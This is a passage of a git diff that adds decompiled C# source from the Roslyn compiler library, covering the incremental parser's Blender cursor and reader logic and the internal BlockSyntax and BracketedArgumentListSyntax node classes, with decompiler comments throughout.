MoveToNextSibling() + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + if (((SyntaxNodeOrToken)(ref CurrentNodeOrToken)).Parent != null) + { + ChildSyntaxList val = ((SyntaxNodeOrToken)(ref CurrentNodeOrToken)).Parent.ChildNodesAndTokens(); + int i = _indexInParent + 1; + for (int count = ((ChildSyntaxList)(ref val)).Count; i < count; i++) + { + SyntaxNodeOrToken val2 = ((ChildSyntaxList)(ref val))[i]; + if (IsNonZeroWidthOrIsEndOfFile(val2)) + { + return new Cursor(val2, i); + } + } + return MoveToParent().MoveToNextSibling(); + } + return default(Cursor); + } + + private Cursor MoveToParent() + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode parent = ((SyntaxNodeOrToken)(ref CurrentNodeOrToken)).Parent; + return new Cursor(indexInParent: IndexOfNodeInParent(parent), node: SyntaxNodeOrToken.op_Implicit(parent)); + } + + private static int IndexOfNodeInParent(SyntaxNode node) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + if (node.Parent == null) + { + return 0; + } + ChildSyntaxList val = node.Parent.ChildNodesAndTokens(); + int i = SyntaxNodeOrToken.GetFirstChildIndexSpanningPosition(val, ((SyntaxNode)(Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode)(object)node).Position); + for (int count = ((ChildSyntaxList)(ref val)).Count; i < count; i++) + { + if (((ChildSyntaxList)(ref val))[i] == SyntaxNodeOrToken.op_Implicit(node)) + { + return i; + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Parser/Blender.Cursor.cs", 107); + } + + public Cursor MoveToFirstChild() + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode val = ((SyntaxNodeOrToken)(ref CurrentNodeOrToken)).AsNode(); + if (val.Kind() == SyntaxKind.InterpolatedStringExpression) + { + SyntaxToken syntaxToken = Lexer.RescanInterpolatedString((InterpolatedStringExpressionSyntax)(object)val.Green); + return new Cursor(SyntaxNodeOrToken.op_Implicit(new SyntaxToken(val.Parent, (GreenNode)(object)syntaxToken, val.Position, _indexInParent)), _indexInParent); + } + if (val.SlotCount > 0) + { + SyntaxNodeOrToken val2 = ChildSyntaxList.ItemInternal(val, 0); + if (IsNonZeroWidthOrIsEndOfFile(val2)) + { + return new Cursor(val2, 0); + } + } + int num = 0; + ChildSyntaxList val3 = ((SyntaxNodeOrToken)(ref CurrentNodeOrToken)).ChildNodesAndTokens(); + Enumerator enumerator = ((ChildSyntaxList)(ref val3)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxNodeOrToken current = ((Enumerator)(ref enumerator)).Current; + if (IsNonZeroWidthOrIsEndOfFile(current)) + { + return new Cursor(current, num); + } + num++; + } + return default(Cursor); + } + + public Cursor MoveToFirstToken() + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + Cursor result = this; + if (!result.IsFinished) + { + SyntaxNodeOrToken currentNodeOrToken = result.CurrentNodeOrToken; + while (currentNodeOrToken.Kind() != SyntaxKind.None && !SyntaxFacts.IsAnyToken(currentNodeOrToken.Kind())) + { + result = result.MoveToFirstChild(); + currentNodeOrToken = result.CurrentNodeOrToken; + } + } + return result; + } + } + + internal struct Reader(Blender blender) + { + private readonly Lexer _lexer = blender._lexer; + + private Cursor _oldTreeCursor = blender._oldTreeCursor; + + private ImmutableStack _changes = blender._changes; + + private int _newPosition = blender._newPosition; + + private int _changeDelta = blender._changeDelta; + + private DirectiveStack _newDirectives = blender._newDirectives; + + private DirectiveStack _oldDirectives = blender._oldDirectives; + + private LexerMode _newLexerDrivenMode = blender._newLexerDrivenMode; + + internal BlendedNode ReadNodeOrToken(LexerMode mode, bool asToken) + { + BlendedNode blendedNode; + while (true) + { + if (_oldTreeCursor.IsFinished) + { + return ReadNewToken(mode); + } + if (_changeDelta < 0) + { + SkipOldToken(); + continue; + } + if (_changeDelta > 0) + { + return ReadNewToken(mode); + } + if (TryTakeOldNodeOrToken(asToken, out blendedNode)) + { + break; + } + if (((SyntaxNodeOrToken)(ref _oldTreeCursor.CurrentNodeOrToken)).IsNode) + { + _oldTreeCursor = _oldTreeCursor.MoveToFirstChild(); + } + else + { + SkipOldToken(); + } + } + return blendedNode; + } + + private void SkipOldToken() + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + _oldTreeCursor = _oldTreeCursor.MoveToFirstToken(); + SyntaxNodeOrToken currentNodeOrToken = _oldTreeCursor.CurrentNodeOrToken; + _changeDelta += ((SyntaxNodeOrToken)(ref currentNodeOrToken)).FullWidth; + _oldDirectives = currentNodeOrToken.ApplyDirectives(_oldDirectives); + _oldTreeCursor = _oldTreeCursor.MoveToNextSibling(); + SkipPastChanges(); + } + + private void SkipPastChanges() + { + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + int position = ((SyntaxNodeOrToken)(ref _oldTreeCursor.CurrentNodeOrToken)).Position; + while (!_changes.IsEmpty) + { + TextChangeRange val = _changes.Peek(); + TextSpan span = ((TextChangeRange)(ref val)).Span; + if (position >= ((TextSpan)(ref span)).End) + { + TextChangeRange val2 = _changes.Peek(); + _changes = _changes.Pop(); + int changeDelta = _changeDelta; + int newLength = ((TextChangeRange)(ref val2)).NewLength; + span = ((TextChangeRange)(ref val2)).Span; + _changeDelta = changeDelta + (newLength - ((TextSpan)(ref span)).Length); + continue; + } + break; + } + } + + private BlendedNode ReadNewToken(LexerMode mode) + { + SyntaxToken syntaxToken = LexNewToken(mode); + int fullWidth = ((GreenNode)syntaxToken).FullWidth; + _newPosition += fullWidth; + _changeDelta -= fullWidth; + SkipPastChanges(); + return CreateBlendedNode(null, syntaxToken); + } + + private SyntaxToken LexNewToken(LexerMode mode) + { + if (_lexer.TextWindow.Position != _newPosition) + { + _lexer.Reset(_newPosition, _newDirectives); + } + if (mode >= LexerMode.XmlDocComment) + { + mode |= _newLexerDrivenMode; + } + SyntaxToken result = _lexer.Lex(ref mode); + _newDirectives = _lexer.Directives; + _newLexerDrivenMode = mode & (LexerMode.MaskXmlDocCommentLocation | LexerMode.MaskXmlDocCommentStyle); + return result; + } + + private bool TryTakeOldNodeOrToken(bool asToken, out BlendedNode blendedNode) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + if (asToken) + { + _oldTreeCursor = _oldTreeCursor.MoveToFirstToken(); + } + SyntaxNodeOrToken currentNodeOrToken = _oldTreeCursor.CurrentNodeOrToken; + if (!CanReuse(currentNodeOrToken)) + { + blendedNode = default(BlendedNode); + return false; + } + _newPosition += ((SyntaxNodeOrToken)(ref currentNodeOrToken)).FullWidth; + _oldTreeCursor = _oldTreeCursor.MoveToNextSibling(); + _newDirectives = currentNodeOrToken.ApplyDirectives(_newDirectives); + _oldDirectives = currentNodeOrToken.ApplyDirectives(_oldDirectives); + Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode node = (Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode)(object)((SyntaxNodeOrToken)(ref currentNodeOrToken)).AsNode(); + SyntaxToken val = ((SyntaxNodeOrToken)(ref currentNodeOrToken)).AsToken(); + blendedNode = CreateBlendedNode(node, (SyntaxToken)(object)((SyntaxToken)(ref val)).Node); + return true; + } + + private bool CanReuse(SyntaxNodeOrToken nodeOrToken) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + if (((SyntaxNodeOrToken)(ref nodeOrToken)).FullWidth == 0) + { + return false; + } + if (((SyntaxNodeOrToken)(ref nodeOrToken)).ContainsAnnotations) + { + return false; + } + if (IntersectsNextChange(nodeOrToken)) + { + return false; + } + if (((SyntaxNodeOrToken)(ref nodeOrToken)).ContainsDiagnostics) + { + goto IL_005c; + } + SyntaxToken val; + if (((SyntaxNodeOrToken)(ref nodeOrToken)).IsToken) + { + val = ((SyntaxNodeOrToken)(ref nodeOrToken)).AsToken(); + if (((GreenNode)(CSharpSyntaxNode)(object)((SyntaxToken)(ref val)).Node).ContainsSkippedText && ((SyntaxNodeOrToken)(ref nodeOrToken)).Parent.ContainsDiagnostics) + { + goto IL_005c; + } + } + if (IsFabricatedToken(nodeOrToken.Kind())) + { + return false; + } + if (((SyntaxNodeOrToken)(ref nodeOrToken)).IsToken) + { + val = ((SyntaxNodeOrToken)(ref nodeOrToken)).AsToken(); + if (((SyntaxToken)(ref val)).IsMissing) + { + goto IL_00a3; + } + } + if (!((SyntaxNodeOrToken)(ref nodeOrToken)).IsNode || !IsIncomplete((Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode)(object)((SyntaxNodeOrToken)(ref nodeOrToken)).AsNode())) + { + if (!((SyntaxNodeOrToken)(ref nodeOrToken)).ContainsDirectives) + { + return true; + } + return _newDirectives.IncrementallyEquivalent(_oldDirectives); + } + goto IL_00a3; + IL_00a3: + return false; + IL_005c: + return false; + } + + private bool IntersectsNextChange(SyntaxNodeOrToken nodeOrToken) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (_changes.IsEmpty) + { + return false; + } + TextSpan fullSpan = ((SyntaxNodeOrToken)(ref nodeOrToken)).FullSpan; + TextChangeRange val = _changes.Peek(); + TextSpan span = ((TextChangeRange)(ref val)).Span; + return ((TextSpan)(ref fullSpan)).IntersectsWith(span); + } + + private static bool IsIncomplete(Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode node) + { + return ((SyntaxNode)node).Green.GetLastTerminal().IsMissing; + } + + internal static bool IsFabricatedToken(SyntaxKind kind) + { + if (kind - 8274 <= SyntaxKind.List || kind - 8286 <= SyntaxKind.List) + { + return true; + } + return SyntaxFacts.IsContextualKeyword(kind); + } + + private BlendedNode CreateBlendedNode(Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode node, SyntaxToken token) + { + return new BlendedNode(node, token, new Blender(_lexer, _oldTreeCursor, _changes, _newPosition, _changeDelta, _newDirectives, _oldDirectives, _newLexerDrivenMode)); + } + } + + private readonly Lexer _lexer; + + private readonly Cursor _oldTreeCursor; + + private readonly ImmutableStack _changes; + + private readonly int _newPosition; + + private readonly int _changeDelta; + + private readonly DirectiveStack _newDirectives; + + private readonly DirectiveStack _oldDirectives; + + private readonly LexerMode _newLexerDrivenMode; + + public Blender(Lexer lexer, Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode oldTree, IEnumerable changes) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + _lexer = lexer; + _changes = ImmutableStack.Create(); + if (changes != null) + { + TextChangeRange changeRange = TextChangeRange.Collapse(changes); + TextChangeRange value = ExtendToAffectedRange(oldTree, changeRange); + _changes = _changes.Push(value); + } + if (oldTree == null) + { + _oldTreeCursor = default(Cursor); + _newPosition = lexer.TextWindow.Position; + } + else + { + _oldTreeCursor = Cursor.FromRoot(oldTree).MoveToFirstChild(); + _newPosition = 0; + } + _changeDelta = 0; + _newDirectives = default(DirectiveStack); + _oldDirectives = default(DirectiveStack); + _newLexerDrivenMode = LexerMode.XmlDocCommentLocationStart; + } + + private Blender(Lexer lexer, Cursor oldTreeCursor, ImmutableStack changes, int newPosition, int changeDelta, DirectiveStack newDirectives, DirectiveStack oldDirectives, LexerMode newLexerDrivenMode) + { + _lexer = lexer; + _oldTreeCursor = oldTreeCursor; + _changes = changes; + _newPosition = newPosition; + _changeDelta = changeDelta; + _newDirectives = newDirectives; + _oldDirectives = oldDirectives; + _newLexerDrivenMode = newLexerDrivenMode & (LexerMode.MaskXmlDocCommentLocation | LexerMode.MaskXmlDocCommentStyle); + } + + private static TextChangeRange ExtendToAffectedRange(Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode oldTree, TextChangeRange changeRange) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + int val = ((SyntaxNode)oldTree).FullWidth - 1; + TextSpan span = ((TextChangeRange)(ref changeRange)).Span; + int num = Math.Max(Math.Min(((TextSpan)(ref span)).Start, val), 0); + int num2 = 0; + while (num > 0 && num2 <= 1) + { + SyntaxToken val2 = oldTree.FindToken(num); + num = Math.Max(0, ((SyntaxToken)(ref val2)).Position - 1); + if (((SyntaxToken)(ref val2)).FullWidth > 0) + { + num2++; + } + } + if (IsInsideInterpolation(oldTree, num)) + { + FileLinePositionSpan lineSpan = oldTree.SyntaxTree.GetLineSpan(new TextSpan(num, 0), default(CancellationToken)); + LinePositionSpan span2 = ((FileLinePositionSpan)(ref lineSpan)).Span; + LinePosition start = ((LinePositionSpan)(ref span2)).Start; + int character = ((LinePosition)(ref start)).Character; + num = Math.Max(num - character, 0); + } + int num3 = num; + span = ((TextChangeRange)(ref changeRange)).Span; + TextSpan val3 = TextSpan.FromBounds(num3, ((TextSpan)(ref span)).End); + int newLength = ((TextChangeRange)(ref changeRange)).NewLength; + span = ((TextChangeRange)(ref changeRange)).Span; + int num4 = newLength + (((TextSpan)(ref span)).Start - num); + return new TextChangeRange(val3, num4); + } + + private static bool IsInsideInterpolation(Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode oldTree, int start) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken val = oldTree.FindToken(start); + for (SyntaxNode parent = ((SyntaxToken)(ref val)).Parent; parent != null; parent = parent.Parent) + { + if (parent.Kind() == SyntaxKind.InterpolatedStringExpression) + { + return true; + } + } + return false; + } + + public BlendedNode ReadNode(LexerMode mode) + { + return ReadNodeOrToken(mode, asToken: false); + } + + public BlendedNode ReadToken(LexerMode mode) + { + return ReadNodeOrToken(mode, asToken: true); + } + + private BlendedNode ReadNodeOrToken(LexerMode mode, bool asToken) + { + return new Reader(this).ReadNodeOrToken(mode, asToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BlockSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BlockSyntax.cs new file mode 100644 index 0000000..9074f4b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BlockSyntax.cs @@ -0,0 +1,191 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class BlockSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken openBraceToken; + + internal readonly GreenNode? statements; + + internal readonly SyntaxToken closeBraceToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken OpenBraceToken => openBraceToken; + + public SyntaxList Statements => new SyntaxList(statements); + + public SyntaxToken CloseBraceToken => closeBraceToken; + + internal BlockSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken openBraceToken, GreenNode? statements, SyntaxToken closeBraceToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (statements != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(statements); + this.statements = statements; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal BlockSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken openBraceToken, GreenNode? statements, SyntaxToken closeBraceToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (statements != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(statements); + this.statements = statements; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal BlockSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken openBraceToken, GreenNode? statements, SyntaxToken closeBraceToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (statements != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(statements); + this.statements = statements; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => openBraceToken, + 2 => statements, + 3 => closeBraceToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBlock(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBlock(this); + } + + public BlockSyntax Update(SyntaxList attributeLists, SyntaxToken openBraceToken, SyntaxList statements, SyntaxToken closeBraceToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || openBraceToken != OpenBraceToken || statements != Statements || closeBraceToken != CloseBraceToken) + { + BlockSyntax blockSyntax = SyntaxFactory.Block(attributeLists, openBraceToken, statements, closeBraceToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + blockSyntax = GreenNodeExtensions.WithDiagnosticsGreen(blockSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + blockSyntax = GreenNodeExtensions.WithAnnotationsGreen(blockSyntax, (IEnumerable)annotations); + } + return blockSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new BlockSyntax(base.Kind, attributeLists, openBraceToken, statements, closeBraceToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new BlockSyntax(base.Kind, attributeLists, openBraceToken, statements, closeBraceToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal BlockSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 4; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openBraceToken = syntaxToken; + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + statements = val2; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeBraceToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)openBraceToken); + writer.WriteValue((IObjectWritable)(object)statements); + writer.WriteValue((IObjectWritable)(object)closeBraceToken); + } + + static BlockSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(BlockSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new BlockSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BracketedArgumentListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BracketedArgumentListSyntax.cs new file mode 100644 index 0000000..2c37f27 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BracketedArgumentListSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class BracketedArgumentListSyntax : BaseArgumentListSyntax +{ + internal readonly SyntaxToken openBracketToken; + + internal readonly GreenNode? arguments; + + internal readonly SyntaxToken closeBracketToken; + + public SyntaxToken OpenBracketToken => openBracketToken; + + public override SeparatedSyntaxList Arguments => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(arguments))); + + public SyntaxToken CloseBracketToken => closeBracketToken; + + internal BracketedArgumentListSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? arguments, SyntaxToken closeBracketToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (arguments != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arguments); + this.arguments = arguments; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal BracketedArgumentListSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? arguments, SyntaxToken closeBracketToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (arguments != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arguments); + this.arguments = arguments; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal BracketedArgumentListSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? arguments, SyntaxToken closeBracketToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (arguments != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arguments); + this.arguments = arguments; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openBracketToken, + 1 => arguments, + 2 => closeBracketToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.BracketedArgumentListSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBracketedArgumentList(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBracketedArgumentList(this); + } + + public BracketedArgumentListSyntax Update(SyntaxToken openBracketToken, SeparatedSyntaxList arguments, SyntaxToken closeBracketToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken == OpenBracketToken) + { + SeparatedSyntaxList val = Arguments; + if (!((ref arguments) != (ref val)) && closeBracketToken == CloseBracketToken) + { + return this; + } + } + BracketedArgumentListSyntax bracketedArgumentListSyntax = SyntaxFactory.BracketedArgumentList(openBracketToken, arguments, closeBracketToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + bracketedArgumentListSyntax = GreenNodeExtensions.WithDiagnosticsGreen(bracketedArgumentListSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + bracketedArgumentListSyntax = GreenNodeExtensions.WithAnnotationsGreen(bracketedArgumentListSyntax, (IEnumerable)annotations); + } + return bracketedArgumentListSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new BracketedArgumentListSyntax(base.Kind, openBracketToken, arguments, closeBracketToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new BracketedArgumentListSyntax(base.Kind, openBracketToken, arguments, closeBracketToken, 